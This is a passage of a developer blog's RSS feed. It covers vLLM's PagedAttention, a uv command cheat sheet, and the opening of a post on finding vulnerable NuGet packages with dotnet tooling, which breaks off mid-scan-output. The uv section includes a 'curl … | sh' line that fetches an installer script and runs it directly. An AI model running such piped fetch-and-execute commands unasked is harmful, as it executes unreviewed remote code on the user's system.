<p>Only the last block of a sequence may be partially empty. With reasonable block sizes, memory loss is typically below 4%.</p>
<h3 id="much-larger-batch-sizes">Much larger batch sizes</h3>
<p>Better memory efficiency means more concurrent requests per GPU, which is the main driver of performance on modern GPUs.</p>
<h3 id="massive-throughput-gains">Massive throughput gains</h3>
<p>In practice, this enables:</p>
<ul>
<li>2–4× throughput vs. TGI</li>
<li>Up to ~24× vs. naïve Hugging Face serving setups</li>
</ul>
<h3 id="true-continuous-batching">True continuous batching</h3>
<p>New requests can be added as soon as finished ones free blocks – no need to wait for a full batch boundary.</p>
<h3 id="memory-sharing-prefix-prompt-caching">Memory sharing (prefix / prompt caching)</h3>
<p>Multiple requests can point to the same physical blocks for shared prefixes (system prompts, long examples).</p>
<h3 id="copy-on-write-when-sequences-diverge">Copy-on-write when sequences diverge</h3>
<p>If you generate multiple completions from the same prompt, new blocks are allocated only when outputs differ.
This can save up to ~55% of KV-cache memory.</p>
<h3 id="better-ttft-under-load-indirectly">Better TTFT under load (indirectly)</h3>
<p>PagedAttention doesn’t speed up the first token itself, but higher throughput clears queues faster –
reducing queue time, which users perceive as better TTFT.</p>
<h3 id="graceful-preemption-and-swapping">Graceful preemption and swapping</h3>
<p>If VRAM runs low, individual blocks can be swapped to CPU memory instead of crashing the server with OOM.</p>
<h3 id="no-recomputation">No recomputation</h3>
<p>Unlike approaches that drop KV-cache under pressure, PagedAttention preserves progress and resumes generation
without re-processing the prompt.</p>
<h2 id="block-size-a-subtle-but-important-knob">Block Size: A Subtle but Important Knob</h2>
<p>Block size affects:</p>
<ul>
<li>Internal fragmentation</li>
<li>Metadata and indexing overhead</li>
<li>Eviction and preemption behavior (if used)</li>
</ul>
<p>Smaller blocks = better memory efficiency, higher overhead.</p>
<p>Larger blocks = lower overhead, more wasted tail space.</p>
<p>There’s no universal best value – it depends on workload shape.</p>
<h2 id="a-note-about-prefill-vs-decode">A Note About Prefill vs Decode</h2>
<p>It’s important to separate these phases:</p>
<h3 id="prefill">Prefill</h3>
<ul>
<li>Often compute- or memory-bound</li>
<li>Cost grows with input sequence length</li>
</ul>
<h3 id="decode">Decode</h3>
<ul>
<li>Usually memory-bandwidth-bound</li>
<li>Heavily dependent on KV-cache efficiency and batching</li>
<li>TTFT (Time to First Token) = queue time + prefill latency</li>
</ul>
<p>PagedAttention mainly improves decode throughput.</p>
<p>So if you see this pattern:</p>
<ul>
<li>tokens/sec ↑</li>
<li>p99 TTFT unchanged (or worse)</li>
</ul>
<p>You optimized decode, but you’re still bottlenecked on queueing or prefill.</p>
<h2 id="why-vllm-became-the-default-choice">Why vLLM Became the Default Choice</h2>
<p>vLLM didn’t win because of a single micro-optimization.
It won because PagedAttention fundamentally changes how GPU memory is used for LLM serving.</p>
<p>If you care about:</p>
<ul>
<li>high throughput</li>
<li>stable latency under load</li>
<li>efficient use of expensive GPUs</li>
</ul>
<p>then understanding vLLM is no longer optional – it’s baseline knowledge for modern LLM infrastructure.</p>

        
      ]]></description>
    </item>
    
    <item>
      <title>uv: Cargo-like Python Tool That Replaces pipx, pyenv, and more</title>
      <pubDate>Wed, 10 Sep 2025 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/uv/</link>
      <guid>https://akrisanov.com/uv/</guid>
      <description xml:base="https://akrisanov.com/uv/"><![CDATA[
        <p>Published: 2025-09-10</p>
        
        
          <h2 id="overview">Overview</h2>
<blockquote>
<p><code>uv</code> is an end-to-end solution for managing <a rel="noopener external" target="_blank" href="https://docs.astral.sh/uv/guides/projects/">Python projects</a>,
<a rel="noopener external" target="_blank" href="https://docs.astral.sh/uv/guides/tools/">command-line tools</a>,
<a rel="noopener external" target="_blank" href="https://docs.astral.sh/uv/guides/scripts/">single-file scripts</a>, and even
<a rel="noopener external" target="_blank" href="https://docs.astral.sh/uv/guides/install-python/">Python itself</a>.</p>
</blockquote>
<p>Think of it as Python’s Cargo: a unified, cross‑platform tool that’s fast, reliable, and easy to use.</p>
<p>This post is not a deep introduction to uv — many excellent articles already exist; instead,
it’s a concise cheat sheet for everyday use.</p>
<h2 id="installation-updates">Installation &amp; Updates</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Install</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">curl</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">LsSf</span><span style="color: light-dark(#40A02B, #A6E3A1);"> https://astral.sh/uv/install.sh</span><span style="color: light-dark(#179299, #94E2D5);"> |</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> sh</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Update</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> self</span><span style="color: light-dark(#40A02B, #A6E3A1);"> update</span></span></code></pre><h2 id="managing-python-versions">Managing Python Versions</h2>
<p>Instead of juggling tools like pyenv, mise, asdf, or OS‑specific hacks, you can simply use uv:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> List available versions</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> python</span><span style="color: light-dark(#40A02B, #A6E3A1);"> list</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Install Python 3.13</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> python</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#FE640B, #FAB387);"> 3.13</span></span></code></pre>
<ul>
<li>Works the same across all OSes</li>
<li>No admin rights required</li>
<li>Independent of system Python</li>
</ul>
<p>You can also use <a rel="noopener external" target="_blank" href="https://github.com/jdx/mise">mise</a> alongside uv if you prefer a global version manager.</p>
<h2 id="projects-dependencies">Projects &amp; Dependencies</h2>
<p>Initialize a new project (creates a pyproject.toml automatically):</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> init</span><span style="color: light-dark(#40A02B, #A6E3A1);"> myproject</span><span style="color: light-dark(#40A02B, #A6E3A1);"> or</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> #</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> uv init -p 3.13 --name myproject</span></span>
<span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">cd</span><span style="color: light-dark(#40A02B, #A6E3A1);"> myproject</span></span></code></pre>
<p>Sync dependencies (similar to <code>pip install -r requirements.txt</code>, but faster and more reliable):</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> sync</span></span></code></pre>
<p>Add dependencies:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> add</span><span style="color: light-dark(#40A02B, #A6E3A1);"> litestar</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> add</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pytest</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-dev</span></span></code></pre>
<p>Lock dependencies (generates a cross‑platform lockfile, like Pipfile.lock or poetry.lock):</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> lock</span></span></code></pre>
<blockquote>
<p>💡 The lock file is cross platform, so you can develop on Windows and deploy on Linux.</p>
</blockquote>
<h2 id="fast-virtual-environments">Fast Virtual Environments</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Create &amp; activate venv automatically</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> venv</span></span>
<span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">source</span><span style="color: light-dark(#40A02B, #A6E3A1);"> .venv/bin/activate</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Or skip activation and run directly with uv:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> run</span><span style="color: light-dark(#40A02B, #A6E3A1);"> python</span><span style="color: light-dark(#40A02B, #A6E3A1);"> app.py</span></span></code></pre><h2 id="scripts">Scripts</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Create a new script</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> init</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-script</span></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> /// script</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> requires-python = &quot;&gt;=3.13&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> dependencies = [</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">     &quot;requests&quot;,</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> ]</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> ///</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">import</span><span> requests</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#FE640B, #FAB387);font-style: italic;">print</span><span style="color: light-dark(#7C7F93, #9399B2);">(</span><span>requests</span><span style="color: light-dark(#7C7F93, #9399B2);">.</span><span style="color: light-dark(#1E66F5, #89B4FA);">get</span><span style="color: light-dark(#7C7F93, #9399B2);">(</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">https://akrisanov.com</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">)</span><span style="color: light-dark(#7C7F93, #9399B2);">)</span></span></code></pre>
<p>Run single‑file scripts with automatic dependency installation:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> run</span><span style="color: light-dark(#40A02B, #A6E3A1);"> script.py</span></span></code></pre>
<blockquote>
<p>💡  On *nix, add <code>#!/usr/bin/env -S uv run</code> (then <code>chmod +x</code>) to automatically call <code>uv run</code> for a script.</p>
</blockquote>
<h2 id="tools">Tools</h2>
<p>Install CLI tools globally, isolated from system Python:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> tool</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ruff</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> #</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> replaces pipx</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> tool</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> httpie</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uvx</span><span style="color: light-dark(#40A02B, #A6E3A1);"> httpie</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> #</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> a shortcut</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> --with [temp dependency] runs jupyter in the current project</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> without adding it and its dependencies to the project</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> run</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-with</span><span style="color: light-dark(#40A02B, #A6E3A1);"> jupyter</span><span style="color: light-dark(#40A02B, #A6E3A1);"> jupyter</span><span style="color: light-dark(#40A02B, #A6E3A1);"> notebook</span></span></code></pre>
<blockquote>
<p>💡 <code>uv</code> run is fast enough that it implicitly re‑locks and re‑syncs the project each time, keeping your environment
up to date automatically.</p>
</blockquote>
<p>If you're developing a CLI tool, uv can help minimize the friction:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> init</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-package</span><span style="color: light-dark(#40A02B, #A6E3A1);"> your_tool</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> tool</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> .</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">e</span></span></code></pre>
<p>See the <a rel="noopener external" target="_blank" href="https://docs.astral.sh/uv/concepts/tools/">tools documentation</a></p>
<h2 id="replacing-pip-tools">Replacing pip-tools</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pip</span><span style="color: light-dark(#40A02B, #A6E3A1);"> compile</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> #</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> replaces pip-tools compile</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pip</span><span style="color: light-dark(#40A02B, #A6E3A1);"> sync</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">    #</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> replaces pip-tools sync</span></span></code></pre><h2 id="building-and-publishing-packages">Building and publishing packages</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Build a `.whl` package for PyPI</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> build</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Upload your Python package to PyPI</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> publish</span></span></code></pre><h2 id="pre-commit-hooks">Pre-commit hooks</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> run</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-with</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pre-commit-uv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> pre-commit</span><span style="color: light-dark(#40A02B, #A6E3A1);"> run</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-all-files</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">pre-commit-uv</span></span></code></pre><h2 id="github-actions">GitHub Actions</h2>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">a</span><span style="color: light-dark(#40A02B, #A6E3A1);">stral-sh/setup-uv</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> #</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> brings UV to GitHub Actions</span></span></code></pre><h2 id="docker">Docker</h2>
<p>Official Docker images provide uv and Python preinstalled:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="docker"><span class="giallo-l"><span>ghcr.io/astral-sh/uv:latest</span></span></code></pre>
<p>Also, check <a rel="noopener external" target="_blank" href="https://hynek.me/articles/docker-uv/">Production-ready Python Docker Containers with uv</a> by Hynek Schlawack.</p>
<h2 id="workspaces">Workspaces</h2>
<p><code>uv</code> supports organizing one or more packages into a <a rel="noopener external" target="_blank" href="https://docs.astral.sh/uv/concepts/projects/workspaces/">workspace</a>
to manage them together.</p>
<p><em>Example</em>: you might have a FastAPI web application alongside several libraries, all versioned and maintained as separate
Python packages in the same Git repository.</p>
<p>In a workspace, each package has its own <code>pyproject.toml</code>, but the workspace shares a single lockfile, ensuring that
the workspace operates with a consistent set of dependencies.</p>
<h2 id="things-to-keep-in-mind">Things to Keep in Mind</h2>
<ul>
<li><code>uv sync</code> respects <code>.python-version</code>, but the <code>UV_PYTHON</code> environment variable takes precedence</li>
<li>Uses python‑build‑standalone, which can be slightly slower than system builds (~1–3%) and lacks CPU‑specific optimizations</li>
<li>Cache size can grow large (a trade‑off for speed and reliability)</li>
<li>Legacy projects may fail if they depended on pip’s older, looser dependency resolution rules</li>
</ul>
<h2 id="why-uv-matters">Why uv Matters</h2>
<p>Python has always had a fragmented ecosystem of tools: pip, pip-tools, virtualenv, venv, pipx, pyenv, poetry, tox…</p>
<p>With uv, we finally get something closer to Rust’s Cargo or JavaScript’s npm/pnpm:
a single, consistent, cross‑platform tool for environments, dependencies, scripts, and tools — and it’s fast.</p>
<h2 id="references-further-reading">References &amp; Further Reading</h2>
<ul>
<li><a rel="noopener external" target="_blank" href="https://docs.astral.sh/uv/concepts/projects/dependencies/#dependency-sources">Dependency Sources</a>
— explains how uv resolves dependencies</li>
<li><a rel="noopener external" target="_blank" href="https://blog.pecar.me/uv-with-django">UV with Django</a></li>
<li><a rel="noopener external" target="_blank" href="https://peps.python.org/pep-0723/">PEP 723 – Inline script metadata</a></li>
<li><a rel="noopener external" target="_blank" href="https://github.com/astral-sh/uv/issues/5903">WIP: Using uv run as a task runner</a></li>
</ul>
<h2 id="additional-notes">Additional Notes</h2>
<ul>
<li>While some people don’t care about uv being fast, it’s shaved minutes off CI builds and container rebuilds —
saving money and energy.</li>
<li>Astral capitalized on a very promising project called
<a rel="noopener external" target="_blank" href="https://github.com/astral-sh/python-build-standalone">python-build-standalone</a> and now maintains it.
These are Python builds that work without installers.</li>
</ul>

        
      ]]></description>
    </item>
    
    <item>
      <title>Identifying Vulnerable Dependencies In .NET Projects</title>
      <pubDate>Tue, 07 May 2024 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/dotnet-list-vulnerable-packages/</link>
      <guid>https://akrisanov.com/dotnet-list-vulnerable-packages/</guid>
      <description xml:base="https://akrisanov.com/dotnet-list-vulnerable-packages/"><![CDATA[
        <p>Published: 2024-05-07</p>
        
        
          <p>Some time ago, I was working in a company that was building a SaaS that was written in .NET.
The code base was a decade old, and like many companies using Microsoft technologies,
it had been through a few framework upgrades. The intent was to move to modern technologies and
refactor outdated components, but the execution was rather poor. By the time I put on my engineering
manager's hat, many of the NuGet packages in the solution were out of date and even deprecated.</p>
<p>In Python and Go projects, I rely heavily on linting, static analysis, and formatting tools.
Not having these essentials would make me and my teams less productive. So the first thing I did
was understand what modern .NET brings to the table in this area. And I started by scanning the
NuGet packages we use in all of our projects in a single solution for potential vulnerabilities.</p>
<p>It turned out that developers could simply run <code>dotnet list package --vulnerable</code> locally
to keep an eye on security. But without automation, it's too easy to forget about that.</p>
<p>My first local scan produced the following result:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">.</span><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">.</span><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">.</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Project</span><span style="color: light-dark(#179299, #94E2D5);"> `</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">X.Infrastructure.Calendar</span><span style="color: light-dark(#179299, #94E2D5);">`</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> has</span><span style="color: light-dark(#40A02B, #A6E3A1);"> the</span><span style="color: light-dark(#40A02B, #A6E3A1);"> following</span><span style="color: light-dark(#40A02B, #A6E3A1);"> vulnerable</span><span style="color: light-dark(#40A02B, #A6E3A1);"> packages</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">   [</span><span>net6.0</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">   Top-level</span><span style="color: light-dark(#40A02B, #A6E3A1);"> Package</span><span style="color: light-dark(#40A02B, #A6E3A1);">            Requested</span><span style="color: light-dark(#40A02B, #A6E3A1);">   Resolved</span><span style="color: light-dark(#40A02B, #A6E3A1);">   Severity</span><span style="color: light-dark(#40A02B, #A6E3A1);">   Advisory</span><span style="color: light-dark(#40A02B, #A6E3A1);"> URL</span></span>
<span class="giallo-l"><span style="color: light-dark(#179299, #94E2D5);">   &gt;</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> System.Data.SqlClient</span><span style="color: light-dark(#FE640B, #FAB387);">      4.8.3</span><span style="color: light-dark(#FE640B, #FAB387);">       4.8.3</span><span style="color: light-dark(#40A02B, #A6E3A1);">      Moderate</span><span style="color: light-dark(#40A02B, #A6E3A1);">   https://github.com/advisories/GHSA-8g2p-5pqh-5jmc</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">                                                       High</span><span style="color: light-dark(#40A02B, #A6E3A1);">       https://github.com/advisories/GHSA-98g6-xh36-x2p7</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">The</span><span style="color: light-dark(#40A02B, #A6E3A1);"> given</span><span style="color: light-dark(#40A02B, #A6E3A1);"> project</span><span style="color: light-dark(#179299, #94E2D5);"> `</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">X.Infrastructure.Common</span><span style="color: light-dark(#179299, #94E2D5);">`</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> has</span><span style="color: light-dark(#40A02B, #A6E3A1);"> no</span><span style="color: light-dark(#40A02B, #A6E3A1);"> vulnerable</span><span style="color: light-dark(#40A02B, #A6E3A1);"> packages</span><span style="color: light-dark(#40A02B, #A6E3A1);"> given</span><span style="color: light-dark(#40A02B, #A6E3A1);"> the</span><span style="color: light-dark(#40A02B, #A6E3A1);"> current</span><span style="color: light-dark(#40A02B, #A6E3A1);"> sources.</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Project</span><span style="color: light-dark(#179299, #94E2D5);"> `</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">X.Infrastructure.Currency</span><span style="color: light-dark(#179299, #94E2D5);">`</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> has</span><span style="color: light-dark(#40A02B, #A6E3A1);"> the</span><span style="color: light-dark(#40A02B, #A6E3A1);"> following</span><span style="color: light-dark(#40A02B, #A6E3A1);"> vulnerable</span><span style="color: light-dark(#40A02B, #A6E3A1);"> packages</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">   [</span><span>net6.0</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">   Top-level</span><span style="color: light-dark(#40A02B, #A6E3A1);"> Package</span><span style="color: light-dark(#40A02B, #A6E3A1);">            Requested</span><span style="color: light-dark(#40A02B, #A6E3A1);">   Resolved</span><span style="color: light-dark(#40A02B, #A6E3A1);">   Severity</span><span style="color: light-dark(#40A02B, #A6E3A1);">   Advisory</span><span style="color: light-dark(#40A02B, #A6E3A1);"> URL</span></span>
